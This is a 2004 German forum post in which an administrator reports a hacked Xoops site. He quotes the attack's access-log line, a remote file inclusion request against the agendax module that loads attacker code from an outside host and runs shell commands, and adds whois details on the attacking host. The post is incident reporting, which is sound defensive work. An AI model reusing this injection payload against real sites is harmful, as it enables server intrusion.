Gepostet am:05.02.2004 13:59
#1
Neuer Spaßvogel "Xfaulz - the fucking alone guy"
05.02.2004 13:59 Hallo heute wurde mal wieder eine von mir betreute Xoops-Site - Version 2.0.5.2 - inkl. Secure Patch gehackt -
der Hack fand wie folgt statt, vielleicht lässt sich der Hacker ja von einem versierten "Jäger" dingfest machen.
www.deg-fanclubsued.de 200.161.157.167 - - [05/Feb/2004:09:45:29 +0100] "GET /modules/agendax/addevent.inc.php?agendax_path=http://bi0s.8bit.co.uk/app.tx
t?&cm d=cd%20/kunden/kristof.de/hosting/10087/deg-fanclubsued.de/html/;ls
HTTP/1.1" 200 906 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)"
als trojan proxy wurde : 200.161.157.167 genutzt, der host bi0s.8bit.co.uk führte den eigentlichen Hack aus:
Ping bi0s.8bit.co.uk [212.15.82.20]
bi0s.8bit.co.uk:
route: 212.15.64.0/19
descr: CSI Telehouse Network
descr: Please address abuse complaints to
abuse@csi.net.ukdescr: Where they will be dealt with in line with our AUP.
descr: Abuse complaints to any other address will be ignore.
origin: AS8871
mnt-by: CSI-NOC
changed:
peering@csi.net.uk 20001119
source: RIPE